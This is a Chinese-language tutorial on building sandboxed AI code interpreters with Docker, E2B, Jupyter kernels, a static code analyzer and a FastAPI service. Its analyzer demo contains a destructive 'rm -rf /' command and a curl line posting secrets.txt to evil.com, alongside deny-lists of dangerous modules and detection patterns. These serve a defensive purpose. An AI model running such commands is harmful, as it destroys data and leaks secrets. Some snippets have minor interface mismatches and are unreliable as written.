AI代码解释器与沙箱执行完全教程
引言
2023年，OpenAI推出的Code Interpreter（现Advanced Data Analysis）彻底改变了AI与代码的交互方式——AI不再只是"生成代码"，而是可以直接执行代码、处理文件、生成图表，成为一个真正的数据分析师。这项技术的核心挑战在于：如何让AI安全地执行任意代码？
本教程将深入解析代码解释器的架构原理，从Docker沙箱到Firecracker微虚拟机，从零构建一个生产级的AI代码执行平台。
1. 代码解释器架构总览
1.1 核心架构
┌──────────────┐ ┌────────────────────┐ ┌──────────────────┐
│ 用户请求 │────▶│ AI Agent / LLM │────▶│ 代码生成 │
│ "分析这个 │ │ (GPT-4/Claude) │ │ (Python/JS/...) │
│ CSV文件" │ └────────────────────┘ └────────┬─────────┘
└──────────────┘ │
▼
┌──────────────┐ ┌────────────────────┐ ┌──────────────────┐
│ 结果返回 │◀────│ 结果格式化 │◀────│ 沙箱执行引擎 │
│ (图表/文件) │ │ (图片/文件/文本) │ │ (Docker/VM/...) │
└──────────────┘ └────────────────────┘ └──────────────────┘
1.2 关键组件
| 组件 | 职责 | 技术选型 |
|---|---|---|
| 代码生成层 | 根据用户意图生成代码 | LLM (GPT-4, Claude) |
| 沙箱隔离层 | 安全隔离执行环境 | Docker, Firecracker, E2B |
| 执行引擎层 | 运行代码并捕获输出 | Python subprocess, Node.js |
| 文件管理层 | 上传/下载/临时文件管理 | S3, 本地文件系统 |
| 结果处理层 | 格式化执行结果 | Matplotlib, Pillow |
| 安全防护层 | 资源限制、网络隔离 | cgroups, seccomp, namespace |
2. OpenAI Code Interpreter架构分析
2.1 工作原理
OpenAI的Code Interpreter采用了Jupyter内核 + 沙箱容器的架构：
- 为每个会话创建一个隔离的Docker容器
- 容器内运行Jupyter Kernel（IPython）
- LLM生成Python代码，通过Jupyter协议发送到内核执行
- 执行结果（文本、图片、文件）返回给LLM进行解读
- 用户可以下载执行过程中生成的文件
2.2 关键设计决策
- 状态保持：整个会话共享同一个内核，变量可以跨cell使用
- 文件持久化：用户上传的文件在会话期间持久存在
- 包安装：支持
pip install安装额外的Python包 - 资源限制：限制CPU、内存、执行时间和磁盘空间
- 网络隔离：默认禁止网络访问（防止数据泄露和恶意下载）
3. Docker沙箱隔离
3.1 基础Docker沙箱
最直接的方式是使用Docker容器作为代码执行沙箱：
import docker
import tempfile
import os
import json
from dataclasses import dataclass
from typing import Optional
@dataclass
class ExecutionResult:
stdout: str
stderr: str
exit_code: int
files: list[str] # 生成的文件路径
execution_time: float
class DockerSandbox:
"""基于Docker的代码执行沙箱"""
def __init__(self):
self.client = docker.from_env()
self.image = "python:3.11-slim"
def execute(
self,
code: str,
timeout: int = 30,
memory_limit: str = "256m",
cpu_period: int = 100000,
cpu_quota: int = 50000, # 0.5 CPU
network_disabled: bool = True,
files: dict[str, bytes] = None # filename -> content
) -> ExecutionResult:
"""在Docker容器中执行Python代码"""
import time
# 创建临时工作目录
with tempfile.TemporaryDirectory() as tmpdir:
# 写入代码文件
code_path = os.path.join(tmpdir, "main.py")
with open(code_path, "w") as f:
f.write(code)
# 写入附带文件
if files:
for filename, content in files.items():
file_path = os.path.join(tmpdir, filename)
with open(file_path, "wb") as f:
f.write(content)
# 创建并运行容器
start_time = time.time()
try:
container = self.client.containers.run(
image=self.image,
command=["python", "/workspace/main.py"],
volumes={
tmpdir: {"bind": "/workspace", "mode": "rw"}
},
working_dir="/workspace",
mem_limit=memory_limit,
cpu_period=cpu_period,
cpu_quota=cpu_quota,
network_disabled=network_disabled,
# 安全限制
read_only=False,
security_opt=["no-new-privileges"],
cap_drop=["ALL"],
detach=True,
stderr=True
)
# 等待执行完成
result = container.wait(timeout=timeout)
exit_code = result["StatusCode"]
# 获取输出
stdout = container.logs(stdout=True, stderr=False).decode("utf-8")
stderr = container.logs(stdout=False, stderr=True).decode("utf-8")
# 收集生成的文件
output_files = []
for root, dirs, filenames in os.walk(tmpdir):
for fname in filenames:
if fname != "main.py":
output_files.append(os.path.join(root, fname))
execution_time = time.time() - start_time
return ExecutionResult(
stdout=stdout,
stderr=stderr,
exit_code=exit_code,
files=output_files,
execution_time=execution_time
)
except docker.errors.ContainerError as e:
return ExecutionResult(
stdout="",
stderr=str(e),
exit_code=1,
files=[],
execution_time=time.time() - start_time
)
except Exception as e:
return ExecutionResult(
stdout="",
stderr=f"Sandbox error: {str(e)}",
exit_code=1,
files=[],
execution_time=time.time() - start_time
)
finally:
try:
container.remove(force=True)
except:
pass
# 使用示例
sandbox = DockerSandbox()
code = """
import sys
print(f"Python version: {sys.version}")
print("Hello from Docker Sandbox!")
# 数学计算
import math
result = sum(math.factorial(i) for i in range(20))
print(f"Sum of factorials: {result}")
"""
result = sandbox.execute(code, timeout=10)
print(f"Exit Code: {result.exit_code}")
print(f"Output:\n{result.stdout}")
print(f"Execution Time: {result.execution_time:.2f}s")
3.2 预构建沙箱镜像
为了加快启动速度，可以预构建包含常用库的沙箱镜像：
# Dockerfile.sandbox
FROM python:3.11-slim
# 安装常用数据科学库
RUN pip install --no-cache-dir \
numpy \
pandas \
matplotlib \
seaborn \
scikit-learn \
scipy \
pillow \
openpyxl \
requests \
beautifulsoup4
# 创建非root用户
RUN useradd -m -s /bin/bash sandbox
USER sandbox
WORKDIR /workspace
# 设置安全限制
ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
docker build -t code-sandbox:latest -f Dockerfile.sandbox .
4. E2B轻量级沙箱
4.1 E2B简介
E2B (Environment to Bot) 是一个专为AI代码执行设计的云沙箱服务，基于Firecracker微虚拟机技术，提供毫秒级启动的隔离环境。
核心优势：
- 毫秒级冷启动
- 完整的文件系统隔离
- 支持自定义沙箱模板
- 内置文件上传/下载
- SDK支持Python和JavaScript
4.2 E2B Python SDK
pip install e2b-code-interpreter
from e2b_code_interpreter import Sandbox
# 创建沙箱（自动管理生命周期）
with Sandbox() as sandbox:
# 执行Python代码
execution = sandbox.run_code("""
import matplotlib.pyplot as plt
import numpy as np
# 生成数据
x = np.linspace(0, 10, 100)
y = np.sin(x)
# 绘图
plt.figure(figsize=(10, 6))
plt.plot(x, y, 'b-', linewidth=2)
plt.title('Sine Wave')
plt.xlabel('x')
plt.ylabel('sin(x)')
plt.grid(True)
plt.savefig('/tmp/sine_wave.png', dpi=100, bbox_inches='tight')
print("Plot saved!")
""")
# 查看执行结果
print(f"Logs: {execution.logs}")
print(f"Error: {execution.error}")
# 获取生成的图片
if execution.png:
# execution.png 是 base64 编码的图片
import base64
with open("sine_wave.png", "wb") as f:
f.write(base64.b64decode(execution.png))
print("Image saved locally!")
# 上传文件到沙箱
with Sandbox() as sandbox:
# 上传文件
file_path = sandbox.upload_file("data.csv")
# 使用上传的文件
result = sandbox.run_code(f"""
import pandas as pd
df = pd.read_csv("{file_path}")
print(f"Shape: {df.shape}")
print(f"Columns: {list(df.columns)}")
print(df.describe())
""")
print(result.logs)
4.3 E2B自定义模板
from e2b_code_interpreter import Sandbox
# 使用自定义模板（预装特定依赖）
sandbox = Sandbox(
template="your-custom-template", # 在E2B控制台创建
timeout=300, # 5分钟超时
envs={"API_KEY": "xxx"}, # 环境变量
)
# 执行长时间运行的任务
result = sandbox.run_code("""
import pandas as pd
import numpy as np
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report
# 生成模拟数据
np.random.seed(42)
n = 10000
X = np.random.randn(n, 10)
y = (X[:, 0] + X[:, 1] * 2 + np.random.randn(n) * 0.5 > 0).astype(int)
# 训练模型
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)
# 评估
y_pred = clf.predict(X_test)
print(classification_report(y_test, y_pred))
""")
sandbox.kill()
5. Python代码执行引擎
5.1 基于subprocess的安全执行
import subprocess
import sys
import tempfile
import os
import signal
from typing import Optional
class PythonExecutor:
"""基于subprocess的Python代码执行器"""
def __init__(
self,
python_path: str = sys.executable,
timeout: int = 30,
max_output_size: int = 1024 * 1024 # 1MB
):
self.python_path = python_path
self.timeout = timeout
self.max_output_size = max_output_size
def execute(self, code: str, working_dir: Optional[str] = None) -> dict:
"""执行Python代码并捕获输出"""
with tempfile.NamedTemporaryFile(
mode='w', suffix='.py', delete=False,
dir=working_dir
) as f:
f.write(code)
code_file = f.name
try:
result = subprocess.run(
[self.python_path, code_file],
capture_output=True,
text=True,
timeout=self.timeout,
cwd=working_dir,
env={
**os.environ,
"PYTHONDONTWRITEBYTECODE": "1",
"PYTHONUNBUFFERED": "1"
}
)
return {
"stdout": result.stdout[:self.max_output_size],
"stderr": result.stderr[:self.max_output_size],
"exit_code": result.returncode,
"timeout": False
}
except subprocess.TimeoutExpired:
return {
"stdout": "",
"stderr": f"Execution timed out after {self.timeout}s",
"exit_code": -1,
"timeout": True
}
except Exception as e:
return {
"stdout": "",
"stderr": str(e),
"exit_code": -1,
"timeout": False
}
finally:
os.unlink(code_file)
# 使用
executor = PythonExecutor(timeout=15)
result = executor.execute("""
for i in range(5):
print(f"Line {i}")
""")
print(result)
5.2 基于IPython/Jupyter内核的执行
import jupyter_client
import time
import uuid
class JupyterExecutor:
"""基于Jupyter内核的代码执行器（支持状态保持）"""
def __init__(self):
self.km = jupyter_client.KernelManager(kernel_name="python3")
self.km.start_kernel()
self.kc = self.km.client()
self.kc.start_channels()
# 等待内核就绪
self.kc.wait_for_ready(timeout=60)
def execute(self, code: str, timeout: int = 30) -> dict:
"""执行代码并返回结果"""
msg_id = self.kc.execute(code)
stdout_parts = []
stderr_parts = []
result_data = {}
while True:
try:
msg = self.kc.get_iopub_msg(timeout=timeout)
except Exception:
break
msg_type = msg["header"]["msg_type"]
content = msg["content"]
if msg_type == "stream":
if content["name"] == "stdout":
stdout_parts.append(content["text"])
elif content["name"] == "stderr":
stderr_parts.append(content["text"])
elif msg_type == "execute_result":
result_data = content["data"]
elif msg_type == "display_data":
result_data = content["data"]
elif msg_type == "error":
stderr_parts.append(
f"{content['ename']}: {content['evalue']}"
)
elif msg_type == "status":
if content["execution_state"] == "idle":
break
return {
"stdout": "".join(stdout_parts),
"stderr": "".join(stderr_parts),
"result": result_data, # 可能包含 text/plain, image/png 等
}
def restart(self):
"""重启内核（清除所有状态）"""
self.km.restart_kernel()
self.kc = self.km.client()
self.kc.start_channels()
self.kc.wait_for_ready(timeout=60)
def shutdown(self):
"""关闭内核"""
self.km.shutdown_kernel()
# 使用示例
executor = JupyterExecutor()
# 第一个cell - 定义变量
r1 = executor.execute("x = 42\nprint(f'x = {x}')")
print(r1["stdout"]) # x = 42
# 第二个cell - 使用之前的变量（状态保持）
r2 = executor.execute("print(f'x * 2 = {x * 2}')")
print(r2["stdout"]) # x * 2 = 84
executor.shutdown()
6. JavaScript/Node.js代码执行
6.1 Node.js沙箱
import subprocess
import tempfile
import os
import json
class NodeExecutor:
"""Node.js代码执行器"""
def __init__(self, node_path: str = "node", timeout: int = 15):
self.node_path = node_path
self.timeout = timeout
def execute(self, code: str) -> dict:
"""执行JavaScript代码"""
# 使用VM模块创建隔离上下文
wrapped_code = f"""
const vm = require('vm');
const sandbox = {{ console: {{ log: (...args) => process.stdout.write(args.join(' ') + '\\n') }} }};
const context = vm.createContext(sandbox);
try {{
vm.runInContext({json.dumps(code)}, context, {{ timeout: {self.timeout * 1000} }});
}} catch(e) {{
process.stderr.write(e.message + '\\n');
process.exit(1);
}}
"""
with tempfile.NamedTemporaryFile(
mode='w', suffix='.js', delete=False
) as f:
f.write(wrapped_code)
code_file = f.name
try:
result = subprocess.run(
[self.node_path, code_file],
capture_output=True,
text=True,
timeout=self.timeout + 5
)
return {
"stdout": result.stdout,
"stderr": result.stderr,
"exit_code": result.returncode
}
except subprocess.TimeoutExpired:
return {
"stdout": "",
"stderr": "Execution timed out",
"exit_code": -1
}
finally:
os.unlink(code_file)
# 使用
node = NodeExecutor()
result = node.execute("""
const data = [1, 2, 3, 4, 5];
const sum = data.reduce((a, b) => a + b, 0);
console.log(`Sum: ${sum}`);
console.log(`Average: ${sum / data.length}`);
""")
print(result["stdout"])
7. 文件上传下载处理
7.1 完整的文件管理系统
import os
import uuid
import hashlib
import shutil
from pathlib import Path
from typing import Optional
from datetime import datetime
class SandboxFileManager:
"""沙箱文件管理器"""
def __init__(self, base_dir: str = "/tmp/sandbox_files"):
self.base_dir = Path(base_dir)
self.base_dir.mkdir(parents=True, exist_ok=True)
def create_session(self, session_id: Optional[str] = None) -> str:
"""创建会话工作目录"""
session_id = session_id or str(uuid.uuid4())
session_dir = self.base_dir / session_id
session_dir.mkdir(parents=True, exist_ok=True)
(session_dir / "uploads").mkdir(exist_ok=True)
(session_dir / "outputs").mkdir(exist_ok=True)
(session_dir / "temp").mkdir(exist_ok=True)
return session_id
def upload_file(
self, session_id: str, filename: str, content: bytes
) -> str:
"""上传文件到会话目录"""
# 安全检查：防止路径遍历
safe_name = Path(filename).name
if not safe_name or safe_name.startswith("."):
raise ValueError(f"Invalid filename: {filename}")
# 检查文件大小
if len(content) > 100 * 1024 * 1024: # 100MB限制
raise ValueError("File too large (max 100MB)")
file_path = self.base_dir / session_id / "uploads" / safe_name
file_path.write_bytes(content)
return str(file_path)
def get_output_files(self, session_id: str) -> list[dict]:
"""获取会话输出文件"""
output_dir = self.base_dir / session_id / "outputs"
files = []
for f in output_dir.iterdir():
if f.is_file():
files.append({
"name": f.name,
"path": str(f),
"size": f.stat().st_size,
"modified": datetime.fromtimestamp(f.stat().st_mtime).isoformat()
})
return files
def download_file(self, session_id: str, filename: str) -> bytes:
"""下载文件"""
safe_name = Path(filename).name
file_path = self.base_dir / session_id / "outputs" / safe_name
if not file_path.exists():
raise FileNotFoundError(f"File not found: {filename}")
return file_path.read_bytes()
def cleanup_session(self, session_id: str):
"""清理会话文件"""
session_dir = self.base_dir / session_id
if session_dir.exists():
shutil.rmtree(session_dir)
def cleanup_expired(self, max_age_hours: int = 24):
"""清理过期会话"""
import time
now = time.time()
for session_dir in self.base_dir.iterdir():
if session_dir.is_dir():
age_hours = (now - session_dir.stat().st_mtime) / 3600
if age_hours > max_age_hours:
shutil.rmtree(session_dir)
print(f"Cleaned up expired session: {session_dir.name}")
# 使用示例
fm = SandboxFileManager()
# 创建会话
session_id = fm.create_session()
# 上传文件
csv_data = "name,age,score\nAlice,25,95\nBob,30,87\nCharlie,22,92"
fm.upload_file(session_id, "data.csv", csv_data.encode())
# 获取工作目录路径
session_dir = Path(fm.base_dir) / session_id
uploads_dir = session_dir / "uploads"
# 执行代码（使用上传的文件）
executor = PythonExecutor()
code = f"""
import pandas as pd
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
df = pd.read_csv("{uploads_dir}/data.csv")
print(df.to_string())
plt.figure(figsize=(8, 5))
plt.bar(df['name'], df['score'])
plt.title('Scores')
plt.savefig("{session_dir}/outputs/chart.png", dpi=100, bbox_inches='tight')
print("Chart saved!")
"""
result = executor.execute(code)
print(result["stdout"])
# 获取输出文件
output_files = fm.get_output_files(session_id)
print(f"Output files: {output_files}")
# 清理
fm.cleanup_session(session_id)
8. 数据可视化生成
8.1 服务端图表生成
import matplotlib
matplotlib.use('Agg') # 无GUI后端
import matplotlib.pyplot as plt
import numpy as np
import io
import base64
class ChartGenerator:
"""服务端图表生成器"""
@staticmethod
def generate_chart(
chart_type: str,
data: dict,
title: str = "",
figsize: tuple = (10, 6),
style: str = "seaborn-v0_8"
) -> str:
"""生成图表并返回base64编码"""
plt.style.use(style)
fig, ax = plt.subplots(figsize=figsize)
if chart_type == "bar":
ax.bar(data["x"], data["y"], color=data.get("color", "#4A90D9"))
ax.set_xlabel(data.get("xlabel", ""))
ax.set_ylabel(data.get("ylabel", ""))
elif chart_type == "line":
for series in data.get("series", [data]):
ax.plot(
series["x"], series["y"],
label=series.get("label", ""),
linewidth=2
)
ax.legend()
elif chart_type == "pie":
ax.pie(
data["values"],
labels=data["labels"],
autopct='%1.1f%%',
startangle=90
)
elif chart_type == "scatter":
ax.scatter(data["x"], data["y"], alpha=0.6, s=50)
ax.set_xlabel(data.get("xlabel", ""))
ax.set_ylabel(data.get("ylabel", ""))
elif chart_type == "heatmap":
im = ax.imshow(data["matrix"], cmap="YlOrRd", aspect="auto")
plt.colorbar(im)
if "x_labels" in data:
ax.set_xticks(range(len(data["x_labels"])))
ax.set_xticklabels(data["x_labels"], rotation=45)
if "y_labels" in data:
ax.set_yticks(range(len(data["y_labels"])))
ax.set_yticklabels(data["y_labels"])
ax.set_title(title, fontsize=14, fontweight='bold')
plt.tight_layout()
# 转为base64
buffer = io.BytesIO()
fig.savefig(buffer, format='png', dpi=100, bbox_inches='tight')
plt.close(fig)
buffer.seek(0)
return base64.b64encode(buffer.read()).decode('utf-8')
@staticmethod
def save_chart(
chart_type: str,
data: dict,
output_path: str,
title: str = "",
**kwargs
):
"""生成图表并保存为文件"""
b64 = ChartGenerator.generate_chart(chart_type, data, title, **kwargs)
with open(output_path, "wb") as f:
f.write(base64.b64decode(b64))
# 使用示例
chart_b64 = ChartGenerator.generate_chart(
chart_type="bar",
data={
"x": ["Q1", "Q2", "Q3", "Q4"],
"y": [150, 230, 180, 310],
"xlabel": "Quarter",
"ylabel": "Revenue ($K)"
},
title="2024 Quarterly Revenue"
)
print(f"Chart generated, base64 length: {len(chart_b64)}")
9. 安全防护
9.1 资源限制
import resource
import signal
import sys
class ResourceLimiter:
"""Unix资源限制器"""
@staticmethod
def set_limits(
max_cpu_seconds: int = 30,
max_memory_mb: int = 256,
max_file_size_mb: int = 50,
max_open_files: int = 64
):
"""设置进程资源限制"""
# CPU时间限制
resource.setrlimit(
resource.RLIMIT_CPU,
(max_cpu_seconds, max_cpu_seconds)
)
# 内存限制
mem_bytes = max_memory_mb * 1024 * 1024
resource.setrlimit(
resource.RLIMIT_AS,
(mem_bytes, mem_bytes)
)
# 文件大小限制
file_bytes = max_file_size_mb * 1024 * 1024
resource.setrlimit(
resource.RLIMIT_FSIZE,
(file_bytes, file_bytes)
)
# 打开文件数限制
resource.setrlimit(
resource.RLIMIT_NOFILE,
(max_open_files, max_open_files)
)
@staticmethod
def set_alarm(timeout: int):
"""设置超时闹钟"""
def timeout_handler(signum, frame):
print(f"Execution timed out after {timeout}s", file=sys.stderr)
sys.exit(124)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(timeout)
9.2 代码静态分析
import ast
import re
from typing import Optional
class CodeAnalyzer:
"""代码安全静态分析器"""
# 危险的内置函数
DANGEROUS_BUILTINS = {
"eval", "exec", "compile", "__import__",
"globals", "locals", "vars", "dir",
"getattr", "setattr", "delattr"
}
# 危险的模块
DANGEROUS_MODULES = {
"subprocess", "os", "sys", "shutil",
"socket", "http", "urllib", "requests",
"ctypes", "importlib"
}
# 危险的属性访问
DANGEROUS_ATTRIBUTES = {
"__subclasses__", "__bases__", "__globals__",
"__code__", "__class__", "__mro__",
"__builtins__", "__import__", "__loader__"
}
def analyze(self, code: str) -> dict:
"""分析代码安全性"""
issues = []
# 1. AST分析
try:
tree = ast.parse(code)
issues.extend(self._check_ast(tree))
except SyntaxError as e:
return {"safe": False, "issues": [f"Syntax error: {e}"]}
# 2. 正则表达式检查（覆盖AST遗漏的情况）
issues.extend(self._check_patterns(code))
return {
"safe": len(issues) == 0,
"issues": issues,
"risk_level": self._calculate_risk(issues)
}
def _check_ast(self, tree: ast.AST) -> list[str]:
"""AST级别的安全检查"""
issues = []
for node in ast.walk(tree):
# 检查函数调用
if isinstance(node, ast.Call):
func_name = self._get_func_name(node)
if func_name in self.DANGEROUS_BUILTINS:
issues.append(f"Dangerous function call: {func_name}()")
# 检查import
if isinstance(node, ast.Import):
for alias in node.names:
if alias.name.split('.')[0] in self.DANGEROUS_MODULES:
issues.append(f"Dangerous import: {alias.name}")
if isinstance(node, ast.ImportFrom):
if node.module and node.module.split('.')[0] in self.DANGEROUS_MODULES:
issues.append(f"Dangerous import from: {node.module}")
# 检查属性访问
if isinstance(node, ast.Attribute):
if node.attr in self.DANGEROUS_ATTRIBUTES:
issues.append(f"Dangerous attribute access: .{node.attr}")
return issues
def _check_patterns(self, code: str) -> list[str]:
"""正则表达式模式检查"""
issues = []
patterns = [
(r'open\s*\(.*/', "File path access"),
(r'subprocess\.', "subprocess usage"),
(r'os\.(system|popen|exec)', "OS command execution"),
(r'__import__', "Dynamic import"),
(r'getattr\s*\(.*__', "Dunder attribute access"),
]
for pattern, desc in patterns:
if re.search(pattern, code):
issues.append(f"Pattern match: {desc}")
return issues
def _get_func_name(self, node: ast.Call) -> str:
"""提取函数名"""
if isinstance(node.func, ast.Name):
return node.func.id
if isinstance(node.func, ast.Attribute):
return node.func.attr
return ""
def _calculate_risk(self, issues: list[str]) -> str:
"""计算风险等级"""
if not issues:
return "low"
if len(issues) <= 2:
return "medium"
return "high"
# 使用示例
analyzer = CodeAnalyzer()
# 安全代码
safe_code = """
import pandas as pd
import numpy as np
df = pd.read_csv("data.csv")
print(df.describe())
"""
result = analyzer.analyze(safe_code)
print(f"Safe: {result['safe']}, Risk: {result['risk_level']}")
# 危险代码
dangerous_code = """
import subprocess
import os
os.system("rm -rf /")
subprocess.call(["curl", "http://evil.com", "-d", "@secrets.txt"])
"""
result = analyzer.analyze(dangerous_code)
print(f"Safe: {result['safe']}, Issues: {result['issues']}")
9.3 网络隔离
import socket
import ipaddress
class NetworkGuard:
"""网络访问控制"""
ALLOWED_HOSTS = set() # 允许访问的主机
BLOCKED_PORTS = {22, 23, 445, 3389} # 阻止的端口
@classmethod
def check_access(cls, host: str, port: int) -> tuple[bool, str]:
"""检查网络访问是否允许"""
# 检查端口
if port in cls.BLOCKED_PORTS:
return False, f"Port {port} is blocked"
# 检查是否为内网地址
try:
ip = socket.gethostbyname(host)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private:
return False, f"Private network access blocked: {ip}"
except socket.gaierror:
return False, f"Cannot resolve host: {host}"
# 如果有白名单，检查是否在白名单中
if cls.ALLOWED_HOSTS and host not in cls.ALLOWED_HOSTS:
return False, f"Host {host} not in whitelist"
return True, "OK"
10. Agent与代码解释器集成
10.1 完整的Agent-Code Interpreter系统
import json
from typing import Optional
class CodeInterpreterAgent:
"""AI Agent + 代码解释器集成系统"""
def __init__(self):
self.sandbox = DockerSandbox()
self.file_manager = SandboxFileManager()
self.code_analyzer = CodeAnalyzer()
self.chat_history = []
self.session_id = self.file_manager.create_session()
async def process_message(
self, user_message: str, files: list[dict] = None
) -> dict:
"""处理用户消息，可能包含代码执行"""
# 1. 处理上传的文件
uploaded_paths = []
if files:
for f in files:
path = self.file_manager.upload_file(
self.session_id, f["name"], f["content"]
)
uploaded_paths.append(path)
# 2. 让LLM决定是否需要执行代码
decision = await self._decide_action(user_message, uploaded_paths)
if decision["action"] == "chat":
return {"type": "text", "content": decision["response"]}
elif decision["action"] == "execute_code":
code = decision["code"]
# 3. 安全检查
analysis = self.code_analyzer.analyze(code)
if not analysis["safe"]:
return {
"type": "error",
"content": f"代码安全检查失败: {analysis['issues']}"
}
# 4. 执行代码
session_dir = Path(self.file_manager.base_dir) / self.session_id
result = self.sandbox.execute(
code,
timeout=30,
working_dir=str(session_dir)
)
# 5. 收集输出文件
output_files = self.file_manager.get_output_files(self.session_id)
# 6. 让LLM解读结果
interpretation = await self._interpret_result(
user_message, code, result, output_files
)
return {
"type": "code_execution",
"code": code,
"stdout": result.stdout,
"stderr": result.stderr,
"exit_code": result.exit_code,
"files": output_files,
"interpretation": interpretation
}
async def _decide_action(self, message: str, files: list) -> dict:
"""让LLM决定下一步行动"""
# 这里应该调用实际的LLM API
# 简化示例：
return {
"action": "execute_code",
"code": "print('Hello from Code Interpreter!')"
}
async def _interpret_result(
self, user_message: str, code: str,
result: 'ExecutionResult', files: list
) -> str:
"""让LLM解读执行结果"""
# 调用LLM解读结果
return f"代码执行完成。输出: {result.stdout[:200]}"
def cleanup(self):
"""清理资源"""
self.file_manager.cleanup_session(self.session_id)
11. 代码执行结果缓存
11.1 基于代码哈希的缓存
import hashlib
import json
import time
from typing import Optional
class CodeExecutionCache:
"""代码执行结果缓存"""
def __init__(self, ttl: int = 3600):
self.cache = {} # hash -> (result, timestamp)
self.ttl = ttl
def _compute_hash(self, code: str, input_hash: str = "") -> str:
"""计算代码+输入的哈希"""
content = f"{code}:{input_hash}"
return hashlib.sha256(content.encode()).hexdigest()
def get(
self, code: str, input_files: dict = None
) -> Optional[dict]:
"""查询缓存"""
input_hash = ""
if input_files:
input_hash = hashlib.sha256(
json.dumps(input_files, sort_keys=True).encode()
).hexdigest()
key = self._compute_hash(code, input_hash)
if key in self.cache:
result, timestamp = self.cache[key]
if time.time() - timestamp < self.ttl:
print(f"Cache hit for code hash: {key[:16]}...")
return result
else:
del self.cache[key]
return None
def set(
self, code: str, result: dict, input_files: dict = None
):
"""设置缓存"""
input_hash = ""
if input_files:
input_hash = hashlib.sha256(
json.dumps(input_files, sort_keys=True).encode()
).hexdigest()
key = self._compute_hash(code, input_hash)
self.cache[key] = (result, time.time())
# 清理过期缓存
self._cleanup()
def _cleanup(self):
"""清理过期条目"""
now = time.time()
expired = [
k for k, (_, ts) in self.cache.items()
if now - ts > self.ttl
]
for k in expired:
del self.cache[k]
12. 自建代码解释器服务
12.1 FastAPI服务
from fastapi import FastAPI, UploadFile, File, HTTPException
from fastapi.responses import FileResponse
from pydantic import BaseModel
from typing import Optional
import uuid
app = FastAPI(title="Code Interpreter API")
# 全局组件
sandbox = DockerSandbox()
file_manager = SandboxFileManager()
analyzer = CodeAnalyzer()
cache = CodeExecutionCache()
class CodeRequest(BaseModel):
code: str
session_id: Optional[str] = None
timeout: int = 30
language: str = "python"
class CodeResponse(BaseModel):
session_id: str
stdout: str
stderr: str
exit_code: int
files: list[dict]
cached: bool
@app.post("/sessions", response_model=dict)
async def create_session():
"""创建新的执行会话"""
session_id = file_manager.create_session()
return {"session_id": session_id}
@app.post("/execute", response_model=CodeResponse)
async def execute_code(request: CodeRequest):
"""执行代码"""
# 获取或创建会话
session_id = request.session_id or file_manager.create_session()
# 检查缓存
cached = cache.get(request.code)
if cached:
return CodeResponse(
session_id=session_id,
cached=True,
**cached
)
# 安全检查
analysis = analyzer.analyze(request.code)
if not analysis["safe"]:
raise HTTPException(
status_code=400,
detail=f"Code safety check failed: {analysis['issues']}"
)
# 执行代码
session_dir = Path(file_manager.base_dir) / session_id
result = sandbox.execute(
request.code,
timeout=request.timeout,
working_dir=str(session_dir)
)
# 收集输出文件
output_files = file_manager.get_output_files(session_id)
response_data = {
"stdout": result.stdout,
"stderr": result.stderr,
"exit_code": result.exit_code,
"files": output_files
}
# 缓存结果
cache.set(request.code, response_data)
return CodeResponse(
session_id=session_id,
cached=False,
**response_data
)
@app.post("/sessions/{session_id}/upload")
async def upload_file(session_id: str, file: UploadFile = File(...)):
"""上传文件到会话"""
content = await file.read()
try:
path = file_manager.upload_file(session_id, file.filename, content)
return {"filename": file.filename, "path": path, "size": len(content)}
except ValueError as e:
raise HTTPException(status_code=400, detail=str(e))
@app.get("/sessions/{session_id}/files/{filename}")
async def download_file(session_id: str, filename: str):
"""下载输出文件"""
try:
content = file_manager.download_file(session_id, filename)
return FileResponse(
path=str(Path(file_manager.base_dir) / session_id / "outputs" / filename),
filename=filename
)
except FileNotFoundError:
raise HTTPException(status_code=404, detail="File not found")
@app.delete("/sessions/{session_id}")
async def delete_session(session_id: str):
"""删除会话及所有文件"""
file_manager.cleanup_session(session_id)
return {"status": "deleted"}
@app.get("/health")
async def health():
"""健康检查"""
return {"status": "ok"}
12.2 客户端SDK
import requests
from typing import Optional
from pathlib import Path
class CodeInterpreterClient:
"""代码解释器客户端SDK"""
def __init__(self, base_url: str = "http://localhost:8000"):
self.base_url = base_url.rstrip("/")
self.session_id = None
def create_session(self) -> str:
"""创建会话"""
resp = requests.post(f"{self.base_url}/sessions")
resp.raise_for_status()
self.session_id = resp.json()["session_id"]
return self.session_id
def execute(
self, code: str, timeout: int = 30
) -> dict:
"""执行代码"""
if not self.session_id:
self.create_session()
resp = requests.post(
f"{self.base_url}/execute",
json={
"code": code,
"session_id": self.session_id,
"timeout": timeout
}
)
resp.raise_for_status()
return resp.json()
def upload(self, file_path: str) -> dict:
"""上传文件"""
if not self.session_id:
self.create_session()
path = Path(file_path)
with open(path, "rb") as f:
resp = requests.post(
f"{self.base_url}/sessions/{self.session_id}/upload",
files={"file": (path.name, f)}
)
resp.raise_for_status()
return resp.json()
def download(self, filename: str, save_path: str):
"""下载文件"""
resp = requests.get(
f"{self.base_url}/sessions/{self.session_id}/files/{filename}",
stream=True
)
resp.raise_for_status()
with open(save_path, "wb") as f:
for chunk in resp.iter_content(chunk_size=8192):
f.write(chunk)
def close(self):
"""关闭会话"""
if self.session_id:
requests.delete(f"{self.base_url}/sessions/{self.session_id}")
self.session_id = None
# 使用示例
client = CodeInterpreterClient()
# 上传数据文件
client.upload("sales_data.csv")
# 执行数据分析
result = client.execute("""
import pandas as pd
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
df = pd.read_csv("uploads/sales_data.csv")
print(df.describe())
plt.figure(figsize=(10, 6))
df.plot(kind='bar')
plt.title('Sales Analysis')
plt.savefig('outputs/sales_chart.png', dpi=100, bbox_inches='tight')
print("Chart generated!")
""")
print(f"Output: {result['stdout']}")
print(f"Files: {result['files']}")
# 下载生成的图表
if result['files']:
client.download("sales_chart.png", "local_chart.png")
client.close()
13. 多语言代码执行支持
13.1 多语言执行引擎
import subprocess
import tempfile
import os
class MultiLanguageExecutor:
"""多语言代码执行器"""
LANGUAGES = {
"python": {
"command": ["python3", "-c"],
"file_ext": ".py",
"timeout": 30
},
"javascript": {
"command": ["node", "-e"],
